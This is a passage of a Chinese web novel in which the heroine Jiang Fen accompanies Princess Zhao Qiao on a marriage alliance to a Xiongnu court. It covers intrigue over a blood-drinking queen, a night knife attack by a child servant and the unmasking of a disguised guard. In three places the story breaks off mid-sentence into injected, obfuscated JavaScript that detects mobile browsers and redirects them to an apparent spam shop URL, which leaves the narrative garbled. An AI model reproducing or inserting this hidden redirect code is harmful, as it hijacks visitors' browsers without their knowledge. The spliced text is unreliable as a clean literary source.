芪朝人只是比他们更早占领了南方肥沃而富饶的土地,好土生民,芪朝人能够穿得起所谓的苏绣绸缎都是因为土地。 他们的衣物来自于牛羊的皮毛,这是他们唯一能得到的材料,他们能把原始而粗劣地衣物变成御寒的法宝,这是他们思想之圆滑。 没有过分侵占瘦弱的芪朝人的土地,是他们为人大度;他们能够繁衍至如此庞大的部落,是他们民族的生生不息。 这些,全部都是他们从出生开始,刻在血肉里的观点。 因此,在见到和亲队伍里几十个矮小的芪朝人时,他们不约而同围了上来,凑到他们身边,只为了发出一声鄙夷的嘲笑。 当源源不断的不友善视线落在自己身上后,姜汾彻底明白了,眼前的匈奴,是在像打量商品一样对待他们。 是想把他们都发卖了吗? 姜汾提起来更多的注意力。 她主动走到呼延阑身后,跟着他,鄙夷的视线就会少得很多。 虽然围在身边的人越来越多,但没人敢真正上前来阻止他们前进,不需多时,他们便到达了匈奴如今王的穹庐。 呼延阑把赵峤从背上缓缓放下来,扶着她慢慢跪下,两人一起跪在穹庐外,由呼延阑大喊一声:“父王,孩儿呼延阑回来了。” 说罢,呼延阑的脑袋便重重磕了下去,没有再起来。 穹庐的帘子被慢慢掀开,一个身姿挺拔粗壮的人从里面走了出来,他便是如今的匈奴王呼延烈。 虽然他长得五大三粗,胡子拉碴,但他心思却没来由的格外心细,只是晃了一眼,便发现了没磕头的赵峤。 “你为何不敬我?” 他大手便赵峤一指,压迫感极其浓烈,但赵峤不卑不亢,只是淡淡回答: “我即将成为您的儿媳,这值得我敬重你,跪下来以表孝心。但我更是芪朝圣上亲封的燕乐公主,代表的是芪朝与胡人的见面,按理说,芪朝并不是胡人的附属国,我国不低你一等,没有磕头的道理。” 话说得如此清晰,匈奴人再怎么愚笨都听得出这位前来和亲的燕乐公主,并不是什么好拿捏的软柿子。 面对匈奴人吾从而起的敌意,他们芪朝人不动声色地抛回去了。 连匈奴平民都懂得的道理,匈奴王怎会不知,他冷笑一声,暗讽了一句“好一个伶牙俐齿”,然后挥挥手,让一个老婆婆走了上来。 这个老婆婆太瘦了,瘦到脸颊凹陷,眼球突出,似乎头部全都是靠一层已经枯萎老化的皮肉支撑起来的。 “祭司,请为我们的燕乐公主验身。” 话音未落,祭司似乎像是闻到了什么让人极度兴奋的气味,她以一种奇怪的方式爬行到照片身边,不断嗅闻着她身上的气味。 赵峤被她盯得有些发毛,但仔细想想,自己身上除了些脂粉气味便再无其他,便也安宁下来,不做任何表情。 没过多久,祭司开始拉扯着赵峤的衣服,赵峤想躲,但耐不住这么个年老体衰的老婆婆力气竟然这般的大。 不一会儿,赵峤原本好好的袖子便被撕得稀碎,露出了一截洁白光滑的手臂。 本以为祭司会到此为止,谁知道,她更加变本加厉,直接飞身一跃,想要扑到赵峤身上。 赵峤来不及闪躲,以为竟然定是要接她这么一遭了,谁料半路杀出个程咬金,姜汾直接在赵峤身后闪了过来,朝着祭司的方向费力踢了一脚。 祭司被踹出去的那一刻,姜汾看着那完美的抛物线最后落到了不远处的箩筐中。 她不禁心痛:要是以前发现自己有这样一个神脚的能力就好了,我就能拯救国家足球队的未来了。 但只是一刹那的分神,匈奴人似乎已经抓住了他们所讨厌的芪朝人的把柄,指着姜汾的鼻子逼问:“你怎么敢在来胡人地界嗯第一天就出手打人?” 姜汾知道躲不过这些人的胡搅蛮缠,干脆先把被扯掉的纱布捡起来给赵峤的小臂遮上,然后才转过身来对着呼延烈说: “大王,我们的燕乐公主还未真正嫁与你族,现如今她所受到的规束应当还是以芪朝为主。” “我芪朝人从不在外人面前露肤狂言,自然而然,到这里的第一天,你族如此对待我们的燕乐公主,是在故意找她的难堪,也是在找芪朝的难堪。” 话里话外都把芪朝搬出来了,呼延烈知道眼前这个小丫头是在变相地给自己威压,他收住了对赵峤的考验,反而针对这个莫名出现的小姑娘起了兴趣。 “芪朝人怎么回事?找不到汉子了吗?派一个毛都没长齐的黄毛丫头出使我胡人,这不也是一种难堪吗?” 姜汾来的路上就知道到了这边,一定会有人不断拿她是个女人这件事出来生事,当时的她,苦闷至极,想了半天也只想到了一套说辞。 现在,她准备把这套说辞套用到任何地方。 “大王,你的母亲和妻子在去别的部落做客时受到这种对待,这种污蔑,你一定会仰天大笑,大声赞同那个侮辱你母亲和妻子的部落吧。” “我怎么会……”呼延烈听到她搬出这个例子,便知道这丫头聪明伶俐,鬼点子够多。 他赞赏性地看了一眼姜汾,然后问:“好,那芪朝派你来我胡人一族有何贵干呐?” 姜汾指了指跪在地上的两人,尤其是从来没有抬起过头的呼延阑,然后说道:“我是他们缘分牵线搭桥之人,圣上特地让我来见证这场他尤其重视的联姻。” “重视……”呼延烈满脸不屑地哼了一声,问:“那他怎么不把自己的亲妹妹或者亲女儿嫁过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13327804|135928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,怎么嫁过来一个赝品?” “何来赝品之说?” 这话不是姜汾答的,而是赵峤一边从地上站起来,一边对着呼延烈铿锵有力地说的。 “我凭什么是别人的赝品?我赵家是芪朝数一数二的世家,除了皇家,能与我们碰上一碰的便只有忠勇侯府,我先前不是公主,可现在,我也是圣上亲封的公主。” “要说赝品,大皇子先前倒是真的找了一个赝品来糊弄我芪朝。圣上龙颜大怒,在我走之前,再三交代,让我一定问清大王,为何如此不尊重我芪朝。” “大王,你敢答吗?” 呼延烈听到她说呼延阑用了赝品,心下疑虑。倒也好,他没再继续找赵峤的茬,只是单独把呼延阑叫进了穹庐。 姜汾和赵峤如释重负地叹了口气。 许多匈奴人真真切切瞧见了她们两个瘦弱的女子把自己的大王说得上茬不接下茬,一时之间无人敢上前。 等了一会儿,一个面相老实的人走上前来,要带着他们去到一顶穹庐那里休息。 王老虎及时挡在了身心俱疲的两人面前,拦住了那人前进的步伐,并说道:“你是谁的人?没有大王的允许,我们跟着你离开了,万一出了什么事,你能负得了责吗?” 面相老实的男人笑了笑,对着不远处的匈奴道:“各位知道我是谁的人吗?” 大家杂七杂八地讨论起来:“忽兰,王后的人,王后不是在后山独居吗?怎么肯管起这里的事了?” 忽兰做出一个请的动作,是一定要姜汾他们跟着他走的。 作为现在队伍里最有话语权的姜汾,却意外地选择了沉默不语,把做主的事让给赵峤。 赵峤扫了一眼四周,道:“我们跟他走吧。” 反正不会有更坏的处境了。 忽兰展颜一笑,在前面带路,把他们带到了一座比王的穹庐朴素很多的穹庐前。 然后,他顿足拦住了本想进入其中的数人,公事公办地说:“王后只让燕乐公主和媒人婆进去。” 不知道皇后买的什么葫芦药,姜汾和赵峤对视一眼,还是选择进到穹庐之中。 她们从来没有见过穹庐里的风光,但王后的穹庐布置却是惊呆了他们。 一国王后,竟然只有一张草席,小桌,甚至连多的衣裳都没见到几件。 匈奴口中的王后,此刻正合衣卧在草席上,一双大大的眼睛空洞地望着穹庐顶端,余光中看见有人来了,她才慢慢悠悠地转过头来。 身子一点没动,只是头转了过来对准她们道:“这么多年了,终于有人来陪我了。” 按照之前的消息,这位王后,背后是雄厚的部落实力支撑着她走到现在。 她并不是大皇子呼延阑的生母。 她有自己的皇子,只是尚年幼。 那么这样的她,会善良到了极致,给他们一些好果子吃吗? 姜汾勾唇一笑,冷静地回答:“都是千年的狐狸,你给我玩什么聊斋啊。” 42. 白事 听了这话,王后眼珠子僵硬地转了两圈,没说什么话,只是冷漠地把头继续对着穹庐顶部。 她极其费力地抬起手,对忽兰用尽力气大声说道:“把他们带出去吧,我看了一眼就知足了。” 话音刚落,忽兰便出现在穹庐之中,弯腰鞠躬之后冲两人道:“王后为你们安排了住处,请往这里走吧。” 姜汾迟疑了一瞬,但还是和赵峤一起跟着他离开了。 王后给他们安排的住处离王后的穹庐并不远,没走多久便到了。 除了姜汾与赵峤是独占一顶穹庐之外,王老虎他们都是好几个人合住一顶穹庐。 姜汾与他们交换了一个眼神,便进入自己的穹庐观察。 里面正巧有一个小童跪在地上铺床,小童扎着匈奴人独有的辫子,见姜汾进来了,他咧开嘴一笑,对着姜汾自我介绍:“姑娘,我是来伺候你的。” 见小童一副天真无邪的模样,姜汾走过场一般问了句:“你叫什么名字?” 小童一边甩着他的小辫子,一边嘟囔着回答:“我叫头曼。” 姜汾见他坐了下来,学着他的姿势也坐了下来,“你能跟我讲讲你们族人的习俗与文化吗?” “我不知道什么习俗,我只是奴才,不参与节日的。” 头曼抿了抿嘴巴,凑得离姜汾更靠近了些,然后紧贴着她的耳朵,小声说道:“但我知道一个鬼故事。” 姜汾眸中神色倏地一变,只听到头曼声音都变得紧张了些。 “我母亲告诉我,王后其实是上一届祭司,本来她都要去世了,但突然有一天返老还童,又变得美貌如初。” “我们族人都以为她是神仙,于是大王才会娶了她。但很奇怪,王后后来越来越年轻,接下来的每一任祭司都会老得很快。你知道吗,刚刚为公主验身的祭司,两年前还是跟我一起玩的大姐姐呢?” “长辈们都告诉我,王后是靠年轻女子的血液保持容颜的,每一任祭司死得很快,所以她的容颜一直不变,但这一任祭司已经两年没换过了。” “王后无法保持美丽,害怕自己的事被大家戳穿,才搬到后山来住。我听说,这次和亲,就是王后主张的,是她想要试试芪朝女子的鲜血。” 这不只是鬼故事了,如果这是真的,那么赵峤和自己危在旦夕。 姜汾努力平复着自己心中的紧张,她让头曼继续收拾房间,走到赵峤的穹庐。 掀开帘子走进去的那一刻,赵峤正在和为她收拾床铺的小女童闲聊。 见到姜汾进来了,小女童没敢再说话,只是闷着脑袋躲在一旁干活。 姜汾心下奇怪,如果刚刚那个鬼故事连男童都知道,那么这些女孩子肯定会被长辈念叨这些,女童难道不会和赵峤说这些吗? 她略微思索,还是把赵峤叫了出来,找到一片空地,仔细观察周围确实没人之后才把这件事告诉赵峤。 惊讶得捂住嘴巴,赵峤再次确定没有人跟着她们后,才把自己观察到奇怪的现象告诉姜汾: “那小女童在我进去后,虽然与我交谈,但说不出两句话就要盯着我看上一番,我问她是哪里人,她只告诉我她是祭司的妹妹。” “我当时还奇怪,说我自己把她姐姐得罪了一番,不会被她暗地里报复吧。” 祭司的妹妹。 姜汾重复了几遍这句话,然后自言自语地说:“一定是这一届的祭司吗?” 万一她是王后的妹妹呢? 但王后变年轻之前据说已经白发苍苍,她自己都年过古稀了,她母亲再给她生一个妹妹还是非常困难的一件事。 总之,这里所有人的话都只能信其三分而疑心不可无。 紧接着,赵峤问姜汾:“我们接下来怎么办?” 姜汾想了想,“我们目前唯一能依靠的还得是呼延阑,虽然他也不是什么老实的人,但我们可以从他入手。” 但突然念头一生,姜汾转而问:“今天是什么日子?” “七月十三。我们脚程很快,七月十三便到了。” 那么,离他们约定的婚期便只剩下两天了。 这么接近,为什么这里不仅一点喜庆的布置打扮都没有,还一副似乎根本不在意的模样? 他们是想要这场政治上和平的联姻,还是另有所谋? 正当她们想要更进一步讨论时,不远处的头曼已经找到了他们。 “姐姐们,大皇子来找你们了!” 闻言,姜汾只得与赵峤停住话头,跟着头曼返回住处。 与赵峤一起进入赵峤的穹顶,小女童似乎已经离开,而呼延阑已经坐在正中央等候。 他身边坐着一个蒙着面的男人,看身形十分高大挺拔。 呼延阑见两人都坐下之后,对姜汾说:“这是我为你找到的护卫,可保你平安,只可惜,这护卫是个哑巴,得让你多担待。” 没理由拒绝,姜汾只好点点头收下这个护卫。 这时赵峤却问起来了:“为何我没有护卫?” “你都有我了,你要什么护卫?” 呼延阑漫不经心的一句话倒是引起了姜汾的怀疑,她再次打量了一眼护卫,问:“可以摘下面纱吗?” 护卫点点头,乖乖地把面纱揭了下来,只见面纱之下是一张满是刀疤和伤痕的脸。 这张脸看起来饱经风霜,没有任何棱角,黝黑且粗犷,与匈奴人没什么两样。 唯一的区别是,他的脖颈底部与他脸上的颜色差别太大,看起来十分割裂。 “有名字吗?” 呼延阑代替他回答:“之前有个不入流的胡人名字,说起来你们也叫不明白,干脆重新取过吧。” “那就叫……”姜汾想了想,“丧彪吧。” 呼延阑感到惊奇:“这名字我竟然从未听过,是何意思啊?” 姜汾笑而不语,只是淡淡把话题扯开,“话说你回来之后要去见你母亲吗?” “我母亲早已过世,这几年除了去看看舅舅,就没去过我的母族。” 觉查出些不对劲来,呼延阑反问道:“你们是遇到了什么不对劲的事吗?怎么拐弯抹角问我这个?” 姜汾没再说话,倒是赵峤回应了:“你先跟我们说说你父王给你说了些什么吧。” “无非是些成亲时要注意的事。” 呼延阑本想就这么揭过这件事,可两人明显不想就这么放过他,反而双眼目不转睛的盯着他。 没办法,他才实话实说:“他还问了我想让谁当王这件事,我从他话语里听出来,他是想把我记在王后名下之后,再让我继承王位。” “你不想被记在王后名下?” “王后是个难缠的人,一旦和她扯上关系,那我以后都会处于她的掌控之中,我并不想陷入这种被动的关系。” 赵峤明白了什么,如果王后成功把呼延阑记在了自己名下,那么到时候,赵峤就免不了与她接触更多,更免不了被她出阴招。 姜汾他们一行人在自己成亲之后,无论呆多久,最终都是要离开的。 自己孤身一人在异国他乡,唯一能依附的除了自己,便只有丈夫。 如果连自己的丈夫都被奸邪之人控制,那么自己的处境无疑是难上加难。 一旦这个时候被害,无论到时候自己的结局是疯疯傻傻还是客死他乡,都没有人为自己辩论一句真相。 她必须把呼延阑笼络到自己的阵营,首要的,便是让王后断了把呼延阑当儿子的想法。 实在到了无可救药的地步,就只能先下手为强,把王后了结了才是最简单直接的方法。 为此,赵峤对呼延阑说:“我们成亲的日子就要到了,先以这件事为重吧。” “我看这里是不太欢迎我,到现在为止,都没有一盏红灯笼为我而挂。除了我带的嫁衣,你们有为我准备新婚衣裳吗?” 在赵峤的一声声如控诉般的话中,呼延阑低下头,右手扣着左手,“我记着呢,我会准备的,你不要担心。” 赵峤还未言语,那个消失了半天的小女童便再次从外面进来。 她甚至没有经过里面人的同意,只是端着几大碗奶走了进来。 “家中牛今日里下的奶,不要客气,大家都喝上一碗吧。” 这语气,全然不像一个仆从,更像是一个家中孩子在父母不在身边的时候,按照礼数招待前来做客的客人。 姜汾端起一碗奶,奶上浮动着奶疙瘩,见呼延阑已经大快朵颐完大半碗后,他们几个才迟疑地抿了两口。 就在小女童麻利地收完碗,准备把这些端出去收拾的时候,呼延阑突然叫住了那个小女童。 “你怎么好像是王后身边的人?” 小女童低下脑袋没说话,端着碗走了。 “你刚刚的话是什么意思?” 面对赵峤怀疑的样子,呼延阑赶忙解释道:“我真在王后哪儿见过这个小孩,当时王后还没搬到后山来,这个小孩就在王后那里整理一些炼丹炼药的法子。” “也是我刚刚鲁莽了,既然是王后给你们安排的住处,那么这些奴才肯定也是她安排的,只是你们也要小心些,别被这些奴才给害了。” 看来,他也是知道一些王后的事的。 姜汾故意装作一副不相信的样子,反驳道:“可是,伺候我的小童还给我讲鬼故事听呢?我看他们还好吧。” 听到鬼故事三个字,呼延阑像是被激到了一般,然后问姜汾:“不会是关于王后的吧。” 姜汾不回答,呼延阑心下也有了底,但是,他什么都没说,只是站起身来,让大家今晚睡个安稳觉,然后便离开了。 见呼延阑这种什么事都和她们讲的人,现在面对王后这件棘手的是,也是闭口不谈,姜汾意识到这件事也是前所未有的不对劲。 但也没办法,人家不愿意开口,你不可能拿着石头硬把别人嘴砸烂了。 见呼延阑走了,姜汾也和赵峤告别,准备带着自己新收的护卫回到了自己的穹庐。 但终归是担心赵峤的安全,姜汾心生一计,拉着赵峤密谋了半天。 中途还把愣在一旁不知道干些什么的丧彪赶出了穹庐。 这期间,小女童一直守在外面,她还小,觉得所有异族人都长得一模一样,根本分不清。 直到半个时辰之后,里面才走出来一个人和丧彪离开了。 这时候她才掀开帘子走进去,看到赵峤已经躺倒床上,背对着她,看起来像是想要睡觉的样子。 忙了一天了,天确实快黑了,她要睡觉确实也是无可厚非。 小女童又看了她一会儿,没有发现什么异常的情况,这时候,她才愿意离开。 这里在山脚,可夜里的风似乎还是很大,透过没有固定的帘子,阵阵吹拂着睡在里面的赵峤。 遽然,小女童拿着刀出现在穹庐外面死死地盯着穹庐,似乎是恨透了睡在里面的人一般。 小女童蹑手蹑脚掀开帘子,几乎没有任何声响地走到了赵峤身边,举着刀对准她的手,拿出了今日给他们喝奶的大碗在地上放好。 正当她准备拿着刀给赵峤的手划上一刀的时候,赵峤突然坐了起来,直接给了她一个巴掌,然后大骂道:“你姑奶奶我也是你能划就划的?” 小女童根本没注意到眼前这个人与白天遇到的那个好说话的女孩子并不一样,被打的那一刻,她立马刀锋一偏,准备刺向赵峤。 她不知道,此赵峤早已是那个不知天高地厚的姜汾,姜汾怎么会怕她一个孩子,她立马站了起来,左手一伸就要把刀抢过来。 谁料,小孩并不是什么单纯可爱善良的好种,姜汾一伸手,小孩便把一把药粉径直撒向没有注意的姜汾。 霎时间,姜汾失去所有的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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见姜汾终于醒了,赵峤连忙把今天早上匈奴人送来的早饭给姜汾喂了点。 吃了两三口肉以后,姜汾便吃不下了。 匈奴的饮食习惯和他们差异太大了,大早上的,让他们任何一个人肚子空空的时候就来上一大盆肉,这是一件痛苦的事。 放下肉干,赵峤一边拿起手帕为姜汾擦了擦嘴,一边问起昨天夜里的情况。 姜汾却反过来问她:“丧彪和那个小女童哪去了?” “丧彪一大早上出去放牛去了,而小女童,因为丧彪的揭秘,大家知道了她昨晚谋害燕乐公主,把她带出去处置了。” 姜汾听说小女童被处置了,却让赵峤赶紧出去把小女童求回来。 “这是为何?” “总归我们都是活在王后的监视之下的,这个笨的走了,下一个一定会派一个更加聪明的来,不如我们就把这个留在身边,反倒少了些祸患。” 闻言,赵峤点点头,转身出去寻找小女童,为她求情去了。 赵峤走了,穹庐里便是空无一人,正当姜汾打算埋头继续睡的时候,那个昨晚救了自己又好心守了自己一晚上的丧彪终于出现了。 丧彪来了也不白来,给姜汾带了一些水,姜汾撑起来喝了两口,然后真情实意地对丧彪说了声谢谢。 丧彪没说话,丧彪也说不了话。 姜汾觉得这场景有些眼熟,很像自己在侯府跟林恒暄聊天时的样子,想到这里,姜汾便趁着丧彪不注意,偷偷看了看他唯一好看的眼睛。 眼尾上挑,看起来风流又多情,如果不是脸上疤痕太多,恐怕也是个好看的人。 赵峤走了,丧彪就继续守着姜汾。 虽然他不能说话,但是,姜汾让他做的每一件事他都能做得很好,这不禁让姜汾难得的心情愉悦。 良久,赵峤终于回来了,她身后还灰溜溜地跟着一那个小女童。 小女童浑身上下被打得遍体凌伤,盯着他们不愿意说话,姜汾便随口一问:“你叫什么名字?” “头曼。” “你也叫头曼?” 见姜汾一副不可置信的样子,赵峤连忙询问:“怎么了?” “没事。”姜汾让赵峤头低一点,才把事情告诉她:“我房里的那个小男童也叫头曼。” 看来,头曼并不是他们自己的真实姓名,只是他们做着王后的事,便从此以后都叫做头曼了。 这更像是他们的一个代号。 想到这里,姜汾让小女童去把自己房间里那个头曼叫过来。 两个年龄身形都相仿的头曼站在自己眼前,很明显男童更为活泼好动一些,见了姜汾直接扑了上来喊姐姐。 只不过被丧彪冷漠地推开了。 为了区分他们,姜汾给他们重新取了名字。 “以后,我不管别人怎么叫你们,在我们这里,男的叫小帅,女的叫小美,就这样。” 男童女童都不说话,姜汾便当他们是默认了。 在床上待了很久,姜汾终于起来准备活动一番筋骨,穹庐外便传来一阵声响。 姜汾掀开帘子,走出去一看,原来是忽兰在到处晃悠。 “各位,昨晚睡得怎么样啊?” 托他的福,差点命都没了。 姜汾不和他拐弯抹角,“有什么事吗?” 忽兰看见了姜汾,也就不到处乱跑了,走到姜汾身边,看着她身后的赵峤,道:“大王和王后邀请你们过去商讨成亲相关事宜。” 见忽兰站在他们面前不肯走的样子,姜汾知道她们是在所难免的。 于是乎,她们俩收拾收拾就跟着一起去了。 进入大王的穹庐,今日王后更加憔悴,根本没有一点生气,和坐在她身边的大王相比,更像是年轻力壮的儿子陪伴行将就木的母亲。 两人按照指引坐到了相应的位置。 就在这时,呼延阑也走了进来,径直走了过去,坐到了赵峤身边。 大王适时开口:“明日便是我们大皇子迎娶新娘的日子,大家有何见解啊?” 他和王后像是一唱一和的,明明没有一点生气的王后,拖着一副枯木般的嗓音道: “白事就要大办特办!” 43. 接受 可呼延烈却像是没听见王后的话一般,眼睛直勾勾地盯着姜汾,道:“你是媒人,你先说吧。” 姜汾不接他的招数,只是推脱回去:“这里是大王的地界,轮不到我说话。” “我们肯定不会亏待燕乐公主的。”呼延烈点点头,让仆从们各自取了几个大碗来。 看着这几个大碗快赶上盆的容量了,姜汾就知道他们俩没安好心。 果不其然,呼延烈处处给他们下着圈套,“我们胡人有个传统,真心向他人表达祝愿的人,愿意献出自己的血,来让他人感受到我们自己的诚意。” 赵峤狐疑地看了一眼呼延阑,质疑的眼神仿佛在洞穿他们所有人的心。 被看得久了,呼延阑终于无法忽视那道炙热的视线,犹豫了一下,对呼延阑开口: “父王,他们芪朝女子有习俗约束,不能在外男面前袒露肌肤,不如就由他们取好血液之后,我亲自为您端来?” 听到呼延阑的建议,呼延烈盯紧姜汾和赵峤,问道:“你们二人可曾愿意?” 姜汾点点头,算是在这次逼迫中的让步。 见姜汾都同意了,赵峤也只能低着头表示默认。 得到他们两个人的承诺之后,呼延阑喜出望外,高兴地搀扶着连路都走不稳的王后离去。 带到他们离开后,呼延阑走在前面,准备把她们二人带回穹庐。 赵峤不太愿意由呼延阑领着,她一直觉得按照呼延阑现在的样子,背叛她,杀死她,只不过是迟早的事。 但姜汾似乎一副无所谓的样子,她偷偷走到姜汾面前,想问她以后该怎么办。 岂料就在这时,不远处走来一个熟悉的人影,她们俩还没反应过来是谁,呼延阑便恭恭敬敬地行了个礼,喊道:“舅舅好。” 原来是那日迎接他们的须卜真。 按理说,匈奴人的部落意识十分强烈,两个部落联合之后也会存在很多隔阂,更不用说须卜真的妹妹死在了这里。 这是足以让两个部落老死不相往来的事,须卜真怎么会闲庭信步地在这里逛? “小侄,带着妻子和这位夫人去面见大王了吧。” 须卜真丝毫都不见外地打招呼,这让她们更觉得奇怪。 接下来,更让人诧异的是,他开门见山直接问:“夫人,听说你是芪朝哪个权贵的媳妇,你独自一人出来那么多天了,没有丈夫在身边,肯定会不习惯的吧。” “不如,到我的部落里去,不仅可以游山玩水,也省得在这里受那个鳖孙的气。” 再她表达完自己的诉求之后,姜汾可算是明白了。 可还没等她回击些什么,一道宽大的背影便挡住了须卜真赤裸裸的视线。 姜汾抬头一看,原来是本该待在穹庐里的丧彪赶了过来。 “你又是哪个无名小卒?” 须卜真脱口而出的一句话,却让姜汾觉得奇怪。 这里的人在见到丧彪的第一眼,都流露出了一副疑惑和震惊的表情,那样子,绝不会是曾经见过丧彪的模样。 当时的姜汾心想,丧彪如果不是这里的人,自然便是呼延阑母族的人。 可现在,掌控着呼延阑母族血脉的人却叫嚣着不知道他是谁。 难道是丧彪位卑言轻,没有伺候过须卜真? 于是,姜汾试探性地问了一句:“他不是你们部落的护卫吗?” 可须卜真却一口咬定:“怎么可能?我们部落何来护卫?我们都是骁勇善战的真正勇士。” 这也算是让姜汾开始正视眼前这个在哪里都格格不入的哑奴了。 还好,须卜真没有多做纠缠,只是闹了两句后,便离开了。 反倒是姜汾,脸上的表情渐渐由疑惑转变为难以抑制的笑容。 赵峤以为这是她是要放血前安慰自己的手段,可走了很久的路,姜汾根本就压不住自己的嘴角。 她本想询问些什么,可姜汾直接躲进了自己的穹庐,根本不给她开口的机会。 丧彪跟在她的身后,一步没落,也跟了进去。 没办法,她只能带着愣头愣脑的呼延阑回自己的穹庐。 …… 姜汾进去自己的穹庐后什么都没做,只是坐在原地一动不动地盯着站在门口的丧彪。 正当丧彪不明所以的时候,姜汾突然拿出了那个如盆一般大的碗,又不知道从哪里摸出了一把利刃,当着丧彪的面,自言自语道: “我要放多少血才够呢?这会不会疼啊?” 她故意装作一副很害怕的样子,装模作样地轻轻割开一点点肉,泛出一丝丝血,还没等进展到下一步,丧彪便突兀地走了过来。 她故作疑惑地盯着他,正准备开口问他干甚,丧彪便抢过了刀,直接给自己的手心划了一道血痕。 他一动不动地看着血液流进碗里,还没等血液到达碗一半的量,姜汾便拿出布条帮丧彪包扎好了伤口。 紧接着,姜汾取来一壶水,对准碗里就是“咕噜咕噜”地倒,在丧彪不解地眼神下,姜汾却反过来问他:“你愿意和我在一起吗?” 丧彪眼睛略微睁大,嘴唇难以禁闭,紧接着,他便听到姜汾似乎在自暴自弃地说:“怎么办呢?我回不去芪朝,可我又不想当寡妇,要不要,你来当我的情郎?” 面对姜汾热烈的渴求,丧彪急忙站起来想走到一边,可姜汾却开始顾影自怜起来: “怎么办呢?我的丈夫不举,导致我无法享受到应有的快乐,现在离开了他,我还要为他守活寡啊。我的命,怎么这么苦啊!” 面对姜汾的控诉,丧彪喉咙吞咽了两下,张了张口,不知所措地劝慰了两句:“没关系的,等回到芪朝,你们二人还是会……” 没等他说完,姜汾便狡黠地看着他,意识到不对劲的丧彪赶忙捂住了自己的嘴,可这根本逃不过姜汾的探查。 姜汾趁热打铁,走到他的身边,问:“情郎,你怎么还会说话啊?我想让你当我的情郎,可就是看中了你不会说话啊。” “这样,你才不会把你我二人的私情给泄露了出去。” 看身份实在是瞒不住这个精虫了,“丧彪”终于愿意缴械投降,老老实实承认道:“好了,筠婉,我是闻行,别闹我了。” 话音很小,似乎是怕外面的人听见。 可姜汾像是好不容易抓住了他的把柄一般,不依不饶道:“什么?你只是我的小情郎啊,别想这样糊弄我, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376832|135928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你就是想弃我于不顾。” “虽然你是丑了一点,可是我根本没有嫌弃你,毕竟,奴家真的很喜欢你霸道的样子。” 被姜汾打趣地差不多了,闻行已经像个红透了的蟠桃,正在等待姜汾这位风流人物采摘。 他低着脑袋,小声告诉姜汾:“我来这里,为了找你。” 简简单单的八个字,似乎打破了之前姜汾糊里糊涂说的那一大段话,直接把姜汾和闻行的位置颠倒了过来,让姜汾脸红心跳吃不消。 “我想和你平平安安的回到芪朝去。” 闻行的真情流露算是姜汾跋山涉水这么多天以来,所能够让她真正触动到的东西了。 从一个虎穴到另一个狼窝,姜汾好不容易适应了芪朝的环境,又迫不得已到这里面对完全陌生的危险。 所有人都对她虎视眈眈,那些明明与她素昧平生的人,却大多都想要她生不如死。 面对无数陌生的敌意,她已经很久没有感受过来自熟悉的关怀了。 她在返回穹庐的路上,跟着赵峤他们完全不搭腔,是因为她在想,如果这个人真的是闻行,她会不会在异国他乡有一个安慰? 仅仅只是一个安慰,就足以让她在这个紧紧绷着一根弦的时刻,溃不成军。 她常常这么想,遇到闻行的时候,自己总会想东想西,会对闻行莫名其妙的表达一些自己的不满与难受。 明明在其他时候自己沉稳和冷静得可怕,明明自己一个人也可以独木成舟地前行很久,为什么自己会为了他在生活中欺负自己的一个动作而生气? 是因为在他面前,自己脱离了面对危险的紧张无措,逃避了陌生的不安,陷入了一个栅栏围造的天府之国。 她的踽踽独行,不是从穿越那一刻开始的,而是从高中毕业后,录取通知书明确地告诉她:你必须得自己开始自己的人生了。 那一刻,她开始了一个人闷着头往前走的困境。 她以为自己撞了南墙就可以有理由回头了,可前面空无一物,她连撞南墙的资格都没有。 一个人走了很久很久,感觉什么都可以挺过来了。 突然有一天,有这么一个人明确地告诉她,也许我们两个可以一起走。 她肯定不会第一时间相信的,她肯定会怀疑,她肯定会一而再再而三地试探。 这是无可厚非的。 这是一个孤单了很久的人,为了保护自己而展开的保护,这层保护会将她和外界慢慢隔离开来,以至于到最后,最爱她的人也被困在一个没有她的地方,孤立无援。 怎么能打破呢? 只要有一个人愿意,愿意不断向她靠近,甚至从一开始就遭受了怀疑无猜测,以至于到了后面的撒泼与无理取闹,这个人都愿意通通接受。 接受了太多她的不堪,才会慢慢懂得真正的她,才会知道她的所想所需,才会一步一步地靠近原本遥不可及的她。 都说眸中最深处的感情是藏不住的,可姜汾盯住闻行的眸子,除了一片水汽挡住的真诚,再也看不见其他。 别再靠近了,因为,我会真正地接受你。 姜汾对着他坦然一笑,“好,我们都会平平安安地回芪朝。” 44. 过渡 闻行易容且隐藏身份来到匈奴地界只为两件事。 一是保护姜汾的安全。 二是作为刺探敌情的一员,与外面的人里应外合重创匈奴。 这其中每一件事都充满了艰险和不确定性。 起初,他确实没打算告诉姜汾这件事,他不想把姜汾扯进更深的旋涡之中。 但是,他的妻子太过于聪慧,仅仅是通过一些小细节,便猜出了他的身份,甚至还会调侃他。 怎么会有一个人如此聪慧可爱呢? 但他现在的心思不能全部都放在姜汾身上。 闻行能够进入匈奴地界,免不了呼延阑的帮助。 他和呼延阑互惠互利。 呼延阑想要一统所有匈奴部落,掌握实权,在这之前,他就必须得把呼延烈和王后彻底扳倒。 